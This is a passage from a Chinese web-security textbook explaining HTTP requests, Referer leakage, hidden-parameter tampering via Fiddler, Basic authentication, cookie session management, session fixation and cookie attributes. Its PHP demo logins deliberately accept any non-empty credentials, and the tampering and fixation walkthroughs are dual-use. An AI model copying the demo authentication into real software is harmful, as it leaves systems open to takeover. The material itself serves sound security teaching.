:<?php echo htmlspecialchars($name, ENT_NOQUOTES, 'UTF-8'); ?><br>\n邮箱地址 :<?php echo htmlspecialchars($mail, ENT_NOQUOTES, 'UTF-8'); ?><br>\n性别 :<?php echo htmlspecialchars($gender, ENT_NOQUOTES, 'UTF-8'); ?><br>\n已注册\n</body></html>\n要在虚拟机上执行的话，可以点击 /31/ 菜单中的“31-002：输入－确认－注册”链接。然后就会显示如下页面（图 3-8）。\n图 3-8 输入页面\n在页面上填入姓名、邮箱和性别后点击“确认”按钮。这时，HTTP 请求消息就可以在 Fiddler 中看到（图 3-9）。\n图 3-9 在输入页面填写完毕后点击“确认”时 Fiddler 中显示的 HTTP 请求消息\nPOST 方法\n此处显示的是从图 3-9 的请求消息中摘取的一些重要内容。\nPOST /31/31-003.php HTTP/1.1\nReferer: http://example.jp/31/31-002.php\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 70\nHost: example.jp\n 消息体\n ┐\nname=%E5%BE%B3%E4%B8%B8%E6%B5%A9&mail=toku@example.jp&gender=%E7%94%B7┘\n请求行开头处的方法变成了 POST。与 GET 不同的是，空行下面所填写的值也被发送了。而这部分内容就被称为消息体（Message Body）。\n消息体\n通过 POST 方法发送的请求消息中包含消息体。与响应消息一样，消息头和消息体用空行相隔。要通过 POST 方法发送的值被放在请求的消息体中。\n与 POST 发送值相关的消息头为 Content-Length 和 Content-Type。\nContent-Length 为消息体的字节数。\nContent-Type 为发送值的 MIME 类型，可通过 HTML 的 form 元素设置。默认为 application/x-www-form-unlencoded。这种类型的格式为，“名称 = 值”的组合通过 & 相连，其中，名称和值都经过了百分号编码（Percent-Encoding）。\n百分号编码\n中文和特殊符号等不能直接用于 URL，而如果要将它们用在 URL 上的话就需要经过百分号编码。百分号编码是将字符以字节为单位转换成 %xx 的形式。xx 为该字节的十六进制写法。例如，将图 3-8 中输入的文字“德”进行 UTF-8 编码，可得到 E5 BE B3 字节列，百分号编码后即为 %E5%BE%B3。\n根据百分号编码的规则，空格应为 %20，但在 application/x-www-form-unlencoded 的情况下，空格则被特殊处理为 +3\n 。所以，将“I'm a programmer”进行百分号编码的话，结果就为 I%27m+a+programmer（撇号变成了 %27）。\nReferer\n请求消息中有时含有 Referer 头信息。它能告诉我们当前请求是从哪个页面链接过来的，值就是那个页面的 URL。除了通过 form 元素发送的请求，a 元素生成的链接或 img 元素的图像等也会产生 Referer 头信息。\nReferer 头信息有时是提升安全性的帮手，有时却能成为问题之源。\nReferer 有益的一面体现在，当我们为了确保安全性而主动检验 Referer 头信息时，通过查看 Referer，能够确认应用程序的跳转是否跟预期一样。但是，同其他头信息一样，Referer 也能由访问者本人通过 Fiddler 之类的工具修改，或者被浏览器插件和其他安全方面的软件修改或删除，所以未必会正确显示链接的来源 4\n 。\n当 URL 中包含敏感信息时，Referer 就可能会引发安全问题。比如，URL 中包含的会话 ID 通过 Referer 泄漏给外界，从而使自己的身份被他人恶意冒名顶替，就是一个典型的案例。具体情况将在 4.6.3 节详述。\n要点\n URL 中包含重要信息时，就有被 Referer 头信息泄密的风险。\nGET 和 POST 的使用区别\n如何区别使用 GET 方法和 POST 方法呢？\nHTTP 1.1 协议的规范文档 RFC26165\n 的第 9 章和第 15 章中，记载了区别使用两者的注意点。\nGET 方法仅用于查阅（获取资源）\nGET 方法被认为没有副作用\n发送敏感数据时应使用 POST 方法\n这里出现了“副作用”这个概念。副作用是指，除了获取资源（内容）以外的其他操作。比如，追加 / 更新 / 删除服务器端的数据、购买商品、注册 / 删除用户等操作。换言之，更新类的页面必须使用 POST 方法。\n另外，GET 方法使用的是 URL 后紧跟查询字符串的形式来传递参数，但由于浏览器和服务器能够处理的 URL 长度是有限的 6\n ，所以，当传递的信息量很大时，使用 POST 方法更安全。\n敏感信息应使用 POST 发送，这是因为 GET 方法有下列风险。\nURL 中指定的参数经由 Referer 泄漏\nURL 中指定的参数残留在访问日志（Access Log）中\n为解决以上问题，当所发送的请求符合以下任一条件时就应使用 POST 方法，都不符合时才使用 GET 方法。\n请求中包含数据更新等副作用时\n发送敏感信息时\n发送的信息量很多时\nhidden 参数能够被更改\n继续刚才的输入表单（图 3-8），点击“确认”按钮后浏览器的页面如图 3-10 所示。\n图 3-10 确认画面\n虽然在页面上看不到，但用户在前页面输入的值会以 hidden 参数的形式在 HTML 源代码中记录下来。\n与 FTP 协议或 telnet 协议不同，HTTP 协议无法记忆客户端的当前状态。这种特性被称为 HTTP 的无状态性 7\n 。因此，状态的记忆需要借助响应（HTML）中的 hidden 参数。\n在页面上点击“注册”按钮后，hidden 参数将被发送给 Web 服务器。此时，在向服务器发送数据之前，我们可以尝试使用 Fiddler 改变 hidden 参数的值。\n首先，在 Fiddler 的 Rules 菜单中，选择“Automatic Breakpoints”-“Before Requests”（图 3-11）。\n图 3-11 在 Rules 菜单中选择“Automatic Breakpoints”-“Before Requests”\n此状态下，点击“注册”按钮后，Fiddler 的界面就变成了图 3-12 所示的情形（选择右侧上方的“WebForms”）。现在，Fiddler 截获到了浏览器的请求消息，并且还未将其传送给服务器。\n图 3-12 Fiddler 接收浏览器的请求消息\n编辑方框中的内容，如图 3-13 所示。\n图 3-13 变更浏览器的请求消息\n接下来，点击“Run to Completion”按钮，变更后的请求就会被发送给服务器。此时，IE 上会显示图 3-14 的页面（虽然显示了“成功注册”的消息，但事实上并没有进行注册处理）。\n图 3-14 浏览器显示了变更后的信息\n以上试验说明，在 HTTP 层面，文本框、单选框的选择项，以及 hidden 参数都被同等对待，在浏览器上无法改变的值（如单选框的选择项和 hidden 参数）也能够被更改。\n要点\n 浏览器发送的值都能够被变更\n通过实际体验 hidden 参数的变更可以得知，一旦处理 hidden 参数的地方存在安全隐患，就会有被 Fiddler 等代理工具实施篡改和攻击的风险。\n将 hidden 参数的更改比作对话\n接下来让我们以对话的形式来再现一下刚才变更 hidden 参数的情形。\n顾客与店员的对话\n顾客：我想要申请会员。\n店员：请提供您的姓名、邮箱地址、性别（男或女）。\n顾客：姓名为德丸浩，邮箱地址为 tokumaru@example.jp，性别为男。\n店员：好的。姓名为德丸浩，邮箱地址为 tokumaru@example.jp，性别为男。请您确认。\n顾客：不对。姓名为德丸玛利亚，邮箱地址为 maria@example.jp，性别为女。请注册。\n店员：姓名为德丸玛利亚，邮箱地址为 maria@example.jp，性别为女。您的会员身份已注册完毕。\nhidden 参数的优点\n前面介绍了 hidden 参数的一些隐患，那么 hidden 参数有什么优点呢？虽然 hidden 参数的值能被用户自己改写，但在面对信息泄漏以及被第三方篡改等危险时，hidden 参数却坚不可摧。\n与 hidden 参数形成鲜明对比的是后面将要介绍的 Cookie 和会话（Session）变量。Cookie 和会话变量的缺点是容易招致会话固定攻击。尤其是在尚未登录、并且又使用了地域型域名的情况下，受到 Cookie Monster Bug 的影响，根本就没有有效的办法来防止会话变量的泄漏（参考 4.6.4 节）。\n因此，像认证和授权信息这样需谨防被用户自己更改的信息，应当保存在会话变量中（参考 5.1 节和 5.3 节）。而除此以外的信息，则首先应考虑能否保存在 hidden 参数中。特别是在登录前的状态下，由于不存在与认证、授权相关的信息，因此，原则上要避免使用会话变量，而是应该使用 hidden 参数，从而来防止信息泄漏等。\n3\n 百分号编码属于 URL（URI）的规范，application/x-www-form-unlencoded 属于 HTML 的规范，所以两者存在细微差别。\n4\n 关于使用 Fiddler 来改变参数，后面讲 hidden 参数时会进行详述。\n5\nhttp://tools.ietf.org/html/rfc2616\n6\n 虽然 RFC2616、RFC1738 及 RFC3986 中并未规定 URL 的长度上限，但各个浏览器都存在上限值。\n7\n 与此相反，像 FTP 和 telnet 这种能够记忆当前状态的特性，叫作有状态性。\n无状态的 HTTP 认证\nHTTP 支持认证功能。HTTP 认证根据实现方式可细分为 Basic 认证、NTLM 认证和 Digest 认证等。正如 HTTP 是无状态的协议一样，HTTP 认证同样也是无状态的。\n下面让我们看一下 HTTP 认证中最简单的 Basic 认证。\n体验 Basic 认证\nBasic 认证的概要如图 3-15 所示。Basic 认证下，当浏览器请求一个需要认证的网页时，服务器会先向浏览器返回“401 Unauthorized（未认证）”状态码。浏览器收到此状态码后，会显示要求输入 ID 和密码的画面，然后再将输入的 ID 和密码添加到请求信息中，再次向服务器发送。\n图 3-15 Basic 认证的概要\nBasic 认证大多通过设置 Web 服务器来实现，而也能通过 PHP 来编写代码。以下为使用 PHP 的 Basic 认证的例子。\n代码清单 /31/31-010.php\n<?php\n $user = @$_SERVER['PHP_AUTH_USER'];\n $pass = @$_SERVER['PHP_AUTH_PW'];\n if (! $user || ! $pass) {\n header('HTTP/1.1 401 Unauthorized');\n header('WWW-Authenticate: Basic realm=\"Basic Authentication Sample\"');\n echo \" 请输入用户名和密码 \";\n exit;\n }\n?>\n<body>\n已通过认证 <br>\n用户名 :<?php echo htmlspecialchars($user, ENT_NOQUOTES, 'UTF-8'); ?>\n<br>\n密码 :<?php echo htmlspecialchars($pass, ENT_NOQUOTES, 'UTF-8'); ?> <br></body>\n以上代码仅用于试验，所以 ID 和密码输入任意值都能通过认证，而 ID 或密码任意一方为空白就会认证失败。认证失败时，按照 Basic 认证的规定会输出以下头信息。\nHTTP/1.1 401 Unauthorized\nWWW-Authenticate: Basic realm=\"Basic Authentication Sample\"\n如果要在虚拟机上运行，可以点击 /31/ 菜单的“31-010：Basic 认证试验”。第一次请求时浏览器没有发送 ID 和密码，所以 31-010.php 返回了 401 状态码。这时，HTTP 信息的截图如图 3-16 所示。浏览器收到 401 状态码后，就会显示要求输入 Basic 认证的 ID 和密码的对话框（图 3-17）。\n图 3-16 返回 401 状态码的 HTTP 消息\n图 3-17 Basic 认证的 ID 和密码输入对话框\n这次我们来尝试一下输入 ID“user1”和密码“pass1”，输入完毕后点击 OK 按钮，HTTP 请求消息再次被发送。这次会附带以下的 Authorization 头信息。\nAuthorization: Basic dXNlcjE6cGFzczE=\nBasic 后面的字符串内容，是 ID 和密码以冒号相隔组成的字符串、再经过 Base64 编码后的结果。可以使用 Fiddler 的 Encoder 功能进行解码确认。在 Fiddler 的 Tools 菜单中选择“Text Encode/Decode”，就会显示出 TextWizard 对话框，然后将 dXNlcjE6cFGzczE= 复制进去，点击对话框左边的“From Base64”单选按钮（图 3-18），就能在画面中央的文本框中看到“user1:pass1”字符串。\n图 3-18 使用 Fiddler 附带的 TextWizard 来解码 Base64\n而这时，浏览器上显示的就是下图所示的画面。可以看出，PHP 脚本成功读取了 Basic 认证的 ID 和密码。\n图 3-19 认证成功\nBasic 认证成功一次以后，再向 http://example.jp/31/\n 下面的目录发送请求时，浏览器就会自动附带 Authorization 消息头。因此，认证对话框只在最初的时候显示一次，看上去认证状态似乎被记住了，但实际上每次请求时都会发送 ID 和密码，认证状态并没有被保存在任何地方。换言之，Basic 认证也是无状态的。而正是因为 Basic 认证的无状态性，所以也就不存在注销（Logout）的概念。\nBasic 认证可以被比喻为银行业务柜台的对话。\n顾客：请帮我查一下账户余额。\n柜员：请提供您的银行卡号和密码。\n顾客：请帮我查一下账户余额。卡号为 12345，密码为 9876。\n柜员：余额为 5 万元。\n顾客：请向卡号 23456 转账 3 万元。卡号为 12345，密码为 9876。\n柜员：转账完毕。\n顾客和柜员之间的交流是无状态的。无关上下文，顾客每一次都要提供所有必要的信息。因此，就算一开始就进行转账也能正常处理。\n专栏：认证与授权\n至此我们未经特别说明就一直使用着“认证”（Authentication）这个术语。认证是指，通过一些方法手段来确认操作者确实是其本人。Web 应用常见的认证方法除了 Basic 认证，还有通过 HTML 表单使用户填写 ID 和密码的表单认证，以及使用 SSL 客户端证书的客户端认证等。\n与认证相对的术语是“授权”（Authorization）。授权是指，授予已经通过认证的用户一些权限。具体表现为，让用户能够对数据进行阅览 / 更新 / 删除、在线转账、在线购物等。\n由于页面上并不会特意区分认证与授权，所以用户很容易将两者混为一谈。Web 应用的普遍流程为，在用户输入 ID 和密码通过认证以后，立刻就会被授予一些权限。但是，在开发应用及考虑安全性时，最好能明确认证与授权这两者的区别，并养成区别使用的习惯。\n关于认证和授权，5.1 节和 5.3 节会分别进行详述。\nCookie 与会话管理\n前面我们已经提到，由于 HTTP 协议的无状态性，服务器端不能保存客户端的状态。但是，在应用程序中，保持客户端的状态却是相当常见的需求。\n比如，在线购物网站中的“购物车”就是一个典型的案例。购物车记住了用户在哪些商品上点击了“购买”按钮。\n另外，记住用户登录后的认证状态也是一种常见的需求。虽然使用 HTTP 认证就能使浏览器记住 ID 和密码，但不使用 HTTP 认证时，记忆认证状态的任务就落在了服务器身上。而像这种记忆应用程序状态的功能就叫作“会话管理”。\n为了实现会话管理，HTTP 引入了名为 Cookie 的机制。Cookie 相当于服务器下达给浏览器的命令，让其记住发送给它的“名称 = 变量”这种格式的值。由于 Cookie 会被用于实现会话管理，因此，下面就让我们结合 PHP 中的会话管理来对其进行说明。\n下面的示例应用是用户认证和用户信息显示的简化版。由以下 3 个页面构成：ID 和密码输入页面（31-020.php）、ID 和密码认证页面（31-021.php）、个人信息（ID）显示页面（31-022.php）。在虚拟机上执行时，可在 /31/ 菜单中点击“31-020: 使用 Cookie 的会话管理”。\n代码清单 /31/31-020.php\n<?php\n session_start(); // 会话开始\n?>\n<html>\n<head><title> 请登录 </title></head>\n<body>\n<form action=\"31-021.php\" method=\"POST\">\n用户名 <input type=\"text\" name=\"ID\"><br>\n密码 <input type=\"password\" name=\"PWD\"><br>\n<input type=\"submit\" value=\" 登录 \">\n</form>\n</body>\n</html>\n代码清单 /31/31-021.php\n<?php\n session_start(); // 会话开始\n $id = @$_POST['ID'];\n $pwd = @$_POST['PWD'];\n // 用户名和密码中任意一项未输入时则登录失败\n if ($id == '' || $pwd == '') {\n die(' 登录失败 ');\n }\n $_SESSION['ID'] = $id;\n?>\n<html>\n<head><title> 登录 </title></head>\n<body>\n登录成功\n<a href=\"31-022.php\"> 我的账号 </a>\n</body>\n</html>\n代码清单 /31/31-022.php\n<?php\n session_start(); // 会话开始\n $id = $_SESSION['ID'];\n if ($id == '') {\n die(' 请登录 ');\n }\n?>\n<html>\n<head><title> 我的账号 </title></head>\n<body>\n用户名 :<?php echo htmlspecialchars($id, ENT_NOQUOTES, 'UTF-8'); ?>\n</body>\n</html>\n同 Basic 认证的例子一样，随便输入 ID 和密码就能成功通过认证。页面跳转流程如下图所示。\n图 3-20 示例应用的页面跳转\n最初显示 31-020.php 的 ID 和密码输入页面时，返回的响应消息如下（仅列出要点）。\nHTTP/1.1 200 OK\nSet-Cookie: PHPSESSID=gg5144avrhmdiaelvh80l4lb53; path=/\nContent-Length: 279\nContent-Type: text/html; charset=UTF-8\n<html>\n<head><title> 请登录 </title></head>\n<body>【以下略】\n通过 Set-Cookie 响应头信息，Web 服务器向浏览器下达了记住此 Cookie 值的指示。\n在登录页面上输入 ID 和密码后点击“登录”按钮，浏览器就会向服务器发送如下请求。\nPOST /31/31-021.php HTTP/1.1\nReferer: http://example.jp/31/31-020.php\nContent-Type: application/x-www-form-urlencoded\nHost: example.jp\nContent-Length: 18\nCookie: PHPSESSID=gg5144avrhmdiaelvh80l4lb53\nID=user1&PWD=pass1\n记住了 Cookie 值的浏览器，从此再向相同网站（example.jp）发送请求时，就会同时发送此 Cookie 值（PHPSESSID=…）。Cookie 可以设置有效期限，没有设置有效期限的 Cookie 会在浏览器被关闭之前一直有效。\nCookie 中 PHPSESSID 的值被称为会话 ID，它是访问会话信息的关键。31-021.php 中，认证成功后的用户 ID 被保存在会话变量 $_SESSION['ID']\n 中。随后程序在 31-022.php 中取得了此用户 ID。保存在会话变量中的信息，在会话失效之前随时都能被访问。\n使用 Cookie 的会话管理\nCookie 能让浏览器记忆少量数据，但保存应用程序的数据时几乎不会使用 Cookie，理由如下。\nCookie 能保存的值的数量和字符串长度有限\nCookie 的值能被用户自己看到或更改，所以不适用于存储敏感信息\n因此，可以采用在 Cookie 中保存类似于“受理编号”的会话 ID，实际对应的值则保存在服务器端的方法。这种方法被称为“使用 Cookie 的会话管理”，目前有着非常广泛的应用。PHP 等主流 Web 应用开发工具中已经提供了这种会话管理的机制。\n会话管理的拟人化解说\n将解说 Basic 认证时使用的银行窗口业务的比喻，转换为会话管理版本，其详情如下。\n顾客：你好。\n柜员：您的受理编号为 005。请提供您的银行卡号和密码。\n顾客：受理编号为 005。卡号为 12345，密码为 9876，请确认。\n柜员：身份核实完毕。\n顾客：受理编号为 005。请帮我查下余额。\n柜员：余额为 5 万元。\n顾客：受理编号为 005。请向卡号 23456 的账户转账 3 万元。\n柜员：转账完毕。\n对话中的受理编号即为会话 ID。顾客每次都要向柜员汇报受理编号，正如浏览器每次都自动向服务器发送 Cookie 一样。\n但是，005 这个受理编号多少让人感到不安。因为随便换一个相近的号码，就有可能假冒他人。比如像下面这样。\n恶人：你好。\n柜员：您的受理编号为 006。请提供您的银行卡号和密码。\n恶人将受理编号减去 1 变成了 005。假设受理编号为 005 的顾客已经通过了身份核实。\n恶人：受理编号为 005。请向卡号 99999 的账户转账 3 万元。\n柜员：转账完毕。\n仅仅更改了受理编号，就能成功使用他人的账户进行转账。\n由此可见，会话 ID 不能使用连续的数字，而应当使用位数足够长的随机数，刚才看到的 PHPSESSID 的值有 26 位也正是出于这个原因。综上，会话 ID 需要满足如下需求。\n需求 1：会话 ID 不能被第三方推测\n需求 2：会话 ID 不能被第三方劫持\n需求 3：会话 ID 不能向第三方泄漏\n需求 1 的会话 ID 不能被推测，本质上要求的是随机数的质量问题。如果随机数存在规律性，就能够通过收集足够多的会话 ID 来推测别人的会话 ID。因此，会话 ID 的随机数可以使用密码学级别的伪随机数生成器生成，伪随机数生成器的范例在电子政府推荐密码列表 8\n 中有所记载。\n但是实际开发的过程中，会话 ID 并非自己手动生成，而应该使用 Web 应用开发工具（PHP、Tomcat、.NET 等）提供的会话 ID。这些主流开发工具经受着全球研究者的调查，因此，即使生成会话 ID 的处理有问题，也一定会被作为安全隐患而得到改善。以笔者多年诊断安全隐患的经验来看，自己实现的会话管理机制中混入安全隐患的例子不在少数。所以务必不要自己来实现会话管理机制。关于会话管理不完善所导致的安全隐患问题，4.6 节中会进行细述。\n要点\n 使用开发工具提供的会话管理机制。\n接着，关于需求 2 的会话 ID 不能被劫持，最初使用银行窗口业务的比喻来说明的流程中其实存在安全问题。具体请看下面对话中的攻击流程。\n恶人：你好。\n柜员：您的受理编号为 9466ir8fgmmk1gn6raeo7ne71。请提供您的银行卡号和密码。\n恶人暂时离开柜台并等待来客。有顾客进入银行时，恶人冒充银行柜员向顾客搭话。\n恶人：您的受理编号为 9466ir8fgmmk1gn6raeo7ne71。\n顾客：知道了。\n顾客走向柜台。\n顾客：我的受理编号为 9466ir8fgmmk1gn6raeo7ne71。\n柜员：请提供您的银行卡号和密码。\n顾客：受理编号为 9466ir8fgmmk1gn6raeo7ne71。卡号为 12345，密码为 9876，请确认。\n柜员：身份核实完毕。\n顾客执行完身份确认后恶人也走向了柜台。\n恶人：受理编号为 9466ir8fgmmk1gn6raeo7ne71。请向卡号 99999 的账户转账 3 万元。\n柜员：转账完毕。\n像这样，恶人（攻击者）劫持正规用户的会话 ID 来进行攻击的手法被称为会话固定攻击（Session Fixation Attack）。详情将在 4.6.4 节中讲述，这里我们可以先尝试修复此安全隐患。从客人进入银行开始。\n有顾客进入银行时，恶人冒充银行柜员向顾客搭话。\n恶人：您的受理编号为 9466ir8fgmmk1gn6raeo7ne71。\n顾客：知道了。\n顾客走向柜台。\n顾客：我的受理编号为 9466ir8fgmmk1gn6raeo7ne71。\n柜员：请提供您的银行卡号和密码。\n顾客：受理编号为 9466ir8fgmmk1gn6raeo7ne71。卡号为 12345，密码为 9876，请确认。\n柜员：身份核实完毕。您新的受理编号为 eut1j15a058pm8gapa87l937h6。\n顾客执行完本人身份确认后恶人也走向了柜台。\n恶人：受理编号为 9466ir8fgmmk1gn6raeo7ne71。请向卡号 99999 的账户转账 3 万元。\n柜员：您还没有进行身份核实。请提供您的银行卡号和密码。\n由于顾客通过认证时受理编号（会话 ID）发生了变化，所以攻击者试图使用原来的受理编号进行转账时就遭到了“您还没有进行身份核实”的提示。通过这个方法，可有效防止会话固定攻击。\n要点\n 认证后改变会话 ID。\n下面让我们继续看一下需求 3 的防止会话 ID 泄漏。\n会话 ID 泄漏的原因\n会话 ID 一旦遭到泄漏就有可能发生伪装事件，所以必须采取防范措施。会话 ID 泄漏主要有以下几种原因。\n发行 Cookie 时的属性指定有问题（稍后讲述）\n会话 ID 在网络上被监听（参考 7.3 节）\n通过跨站脚本漏洞等应用中的安全隐患被泄漏（参考第 4 章）\n由于 PHP 或浏览器等平台存在安全隐患而被泄漏\n会话 ID 保存在 URL 中的情况下，会通过 Referer 消息头泄漏（参考 4.6.3 节）\n网络传输线路上若存在监听装置，会话 ID 就有被窃取的风险。虽然从外部无法得知具体哪里会有监听装置，但在公共无线网等理论上易于监听的环境中，会话 ID 被盗的风险是非常高的。\n为了保护会话 ID 不被监听，采用 SSL（Secure Socket Layer）加密是行之有效的方法，但发行 Cookie 时也需要注意属性的指定。\nCookie 的属性\n生成 Cookie 时可以设置很多属性。先前看到的 PHPSESSID 在生成时指定了“path=/”，这就是一个属性。\n生成 Cookie 时的主要属性如表 3-3 所示。\n表 3-3 Cookie 的属性\n属性\n含义\nDomain\nCookie 发送对象服务器的域名\nPath\nCookie 发送对象 URL 的路径\nExpires\nCookie 的有效期限。未指定则表示至浏览器关闭为止\nSecure\n仅在 SSL 加密的情况下发送 Cookie\nHttpOnly\n指定了此属性的 Cookie 不能被 JavaScript 访问\n其中，涉及安全性的 3 个重要属性为 Domain、Secure、HttpOnly。\nCookie 的 Domain 属性\nCookie 在默认情况下只能被发送到与其绑定的服务器。虽然从安全性方面考虑这样是最安全的，但有时也需要能向多个服务器发送的 Cookie，这时就要用到 Domain 属性。\n图 3-21 展示了指定 Domain 属性后的 Cookie 被发送给服务器的情况。由于指定了 Domain=example.jp，因此，Cookie 就被发送给了 a.example.jp 和 b.example.jp，而 a.example.com 则因为域名不同而没有发送。\n图 3-21 指定 Cookie 的 Domain 属性\n假如 a.example.jp 的服务器在 Set-Cookie 时指定了 Domain=example.com，此 Cookie 就会被浏览器忽略。这是因为如果可以在 Cookie 中指定不同域名，就可能发生前述的会话固定攻击，所以 Cookie 是不能指定不同域名的。\n未指定 Domain 属性时，Cookie 只被发送至生成它的服务器。换言之，未指定 Domain 属性的 Cookie 发送范围最小，最安全。而设置 Domain 属性时稍有疏忽，就会产生安全隐患。\n举例来说，假设 example.com 是服务器租赁商，foo.example.com 和 bar.example.com 都是托管在此租赁服务器上的网站。如果 foo.example.com 网站发送的 Cookie 中指定了 Domain=example.com，此 Cookie 就会被泄漏至 bar.example.com。\n由此可见，不设置 Cookie 的 Domain 属性是最佳实践。\n要点\n 原则上不设置 Cookie 的 Domain 属性\n专栏：Cookie Monster Bug\n笔者所在公司的网站域名是 hash-c.co.jp，生成的 Cookie 中指定的域名最短也应当为 hash-c.co.jp。但是，使用一些旧版本浏览器时 Cookie 的域名却被指定成了 .co.jp。这一问题就被称为“Cookie Monster Bug”。\n使用存在 Cookie Monster Bug 的浏览器会极易遭受会话固定攻击。因为域名为 .co.jp 的 Cookie 也能匹配 amazon.co.jp 和 yahoo.co.jp 等其他 .co.jp 的域名，这就意味着能够对这些网站任意指定 Cookie。\n在 Internet Explorer 8（IE8）中使用地域型域名时也存在 Cookie Monster Bug。举例来说，笔者所住的横滨市的域名为 city.yokohama.jp，而横滨市内的地方政府或企业、团体、个人等也都能够获得以 yokohama.jp 结尾的域名。也就是说笔者能够申请获得 tokumaru.kanazawa.yokohama.jp 这个域名（kanazawa 为横滨市金沢区）。问题是，使用 Internet Explorer 时，网站 tokumaru.kanazawa.yokohama.jp 能够生成域名为 yokohama.jp 的 Cookie。\n地域型域名在地方政府的网站中有着广泛的应用，却容易遭到会话固定攻击。最近，.lg.jp\n 作为地方政府的域名开始被使用，横滨市也启用了 city.yokohama.lg.jp 域名。因此，建议使用地域型域名的网站，在加强防范会话固定攻击的同时，也不妨考虑一下迁移至其他形式的域名。\nCookie 的安全属性\n设置了 Secure 属性（下述为安全属性）的 Cookie 仅在 SSL 传输的情况下能够被发送给服务器。而未设置安全属性的 Cookie 则无关是否为 SSL 传输，都会被发送。\n指定 Cookie 的安全属性是为了确保 Cookie 在 SSL 的情况下发送。详情请参考 4.8.2 节。\nCookie 的 HttpOnly 属性\n设置了 HttpOnly 属性后，JavaScript 就不能访问该 Cookie 了。\n恶意使用 JavaScript 进行跨站脚本攻击从而取得 Cookie 信息，是窃取 Cookie 中会话 ID 的典型案例。而 Cookie 中设置了 HttpOnly 属性后，就能防止 JavaScript 窃取 Cookie 信息。\n后面专门讲述跨站脚本时也会提到，其实设置了 HttpOnly 属性也无法彻底抵御跨站脚本攻击，但是能加大攻击的难度。而设置 HttpOnly 属性通常不会带来坏处，所以应当时常给 Cookie 加上 HttpOnly 属性。\n使用 PHP 的情况下，给 Cookie 添加 HttpOnly 属性，只要在 php.ini 中添加如下设置即可。\nsession.cookie_httponly = on\n关于 Cookie 的 HttpOnly 属性，在讲跨站脚本漏洞的防范对策时还会再次提到。\n8\nhttp://www.cryptrec.go.jp/list.html\n总结\n为了有助于理解 Web 应用的安全隐患，本节讲述了 HTTP、Basic 认证、Cookie、会话管理的相关知识。当前大多数应用都采用 Cookie 来进行会话管理，这在认证结果的保存等安全性方面扮演着重要角色。\n作为本节的应用篇，下节将讲述被动攻击和同源策略。\n参考文献\n[1] 山本阳平 .（2010）.《Web を支える技術－HTTP、URI、HTML、そして REST》（《Web 背后的技术－HTTP、URI、HTML 和 REST》）. 技術評論社 .\n[2] 小森裕介 .（2010）.《「プロになるための Web 技術入門」——なぜ、あなたは Web システムを開発できないのか》（《“Web 技术入门”——为什么你无法开发 Web 系统》）. 技術評論社 .\n3.2 被动攻击与同源策略\n本节首先讲述被动攻击这一攻击手法，然后介绍浏览器针对此类攻击的防御策略——沙盒。沙盒技术的核心概念为“同源策略”，它对于理解 Web 应用的安全隐患至关重要，所以，对同源策略这一概念，本节也会进行详细说明。\n主动攻击与被动攻击\n针对 Web 应用程序的攻击可分为主动攻击（Active Attack）和被动攻击（Passive Attack）。下面先简单介绍这两者的区别，然后再重点讲述被动攻击。\n主动攻击\n所谓主动攻击，是指攻击者直接攻击 Web 服务器。SQL 注入攻击即是主动攻击的代表性例子（图 3-22）。\n图 3-22 主动攻击\n被动攻击\n被动攻击是指，攻击者并不直接攻击服务器，而是针对网站的用户设下陷阱，利用掉入陷阱的用户来攻击应用程序。下面，让我们按照由易到难的顺序来依次解说被动攻击的 3 种模式。\n单纯的被动攻击\n将用户诱导至设有圈套的网站，就是一种单纯的被动攻击模式。图 3-23 描绘了此类攻击的流程。\n图 3-23 单纯的被动攻击\n此类攻击的典型案例为，用户在浏览过所谓的“可疑网站”之后会感染上恶意软件（病毒等）。理论上如果浏览器（包括 Adobe Flash Player 等插件）不存在漏洞，此类单纯的被动攻击是行不通的。但现实中，针对浏览器以及 Adobe Reader、Adobe Flash Player、JRE 等插件的漏洞进行的攻击却层出不穷。\n恶意利用正规网站进行的被动攻击\n下面介绍一种稍微复杂一些的被动攻击模式，即通过在正规网站设置陷阱来实施攻击。这也是一种屡见不鲜的模式。图 3-24 描绘了此类攻击的流程。\n图 3-24 在正规网站中设置陷阱的被动攻击\n攻击者事先入侵正规网站，往其内容中嵌入恶意代码（①）。网站用户在浏览了含有恶意代码的内容后（②～③），就会感染病毒（④）。在这一流程中，单看步骤①的话似乎应归类为主动攻击，但步骤②～④均为被动攻击，因此，可将①视作被动攻击的前期准备。\n通过恶意利用正规网站进行被动攻击，与自己准备一个恶意网站这种单纯的攻击模式相比要费事得多，但另一方面，这种方式对于攻击者来说可以说是利大于弊，原因如下。\n不需要专门将用户诱导至恶意网站\n正规网站的用户数量庞大，因此能提高增加受害者的可能性\n攻击者能入侵正规网站，非正当地使用其功能，并从中受益\n攻击者能通过窃取网站用户的个人信息而受益\n在正规网站中设置陷阱的手法通常有下列 4 种。\n非法获取 FTP 等服务器的密码后篡改网站内容（参考 7.1 节）\n通过攻击 Web 服务器的安全隐患来篡改网站内容（参考 7.1 节）\n通过 SQL 注入攻击来篡改网站内容（参考 4.4 节）\n在社交网络这类用户能够自己发布内容的网站上，利用跨站脚本漏洞实施攻击（参考 4.3 节）\n2010 年初爆发的恶意程序 Gumblar 就属于此类模式的被动攻击。另外，2008 年以来数量急剧增加的 SQL 注入攻击，也被频繁地用于此类攻击。而无论哪种方法，在第 1 章介绍的僵尸网络的构建过程中，都会被恶意使用。\n跨站被动攻击\n最后，让我们看一下同时使用恶意网站和正规网站的被动攻击模式。攻击流程见图 3-25。\n图 3-25 跨站被动攻击\n接下来，让我们根据上图来看一下跨站被动攻击的具体流程。\n① 用户浏览恶意网站\n② 从恶意网站下载含有恶意代码的 HTML9\n③ HTML 中的恶意代码被触发，从而向正规网站发送攻击请求\n④ 正规网站返回含有 JavaScript 等的响应内容\n有些情况下步骤④会被省略。\n此类攻击的特征为，恶意利用已经在正规网站登录的用户账号来实施攻击。由于步骤③的请求中要向正规网站发送会话 Cookie，因此，如果用户已经在正规网站登录，就会利用其已经登录的状态实施攻击。\n此类攻击模式的典型案例包括，在步骤③的请求中对 Web 应用发动攻击的跨站请求伪造（CSRF，参考 4.5 节），以及在步骤④的响应中利用浏览器来执行攻击的跨站脚本攻击（XSS，参考 4.3 节）和 HTTP 消息头注入攻击（参考 4.7 节）。\n9\n 含有恶意代码的 HTML，多是指在网络论坛上发布的专门用来攻击的 URL。\n浏览器如何防御被动攻击\n针对以上被动攻击，浏览器和网站都需要采取相应的防御措施。本书将从第 4 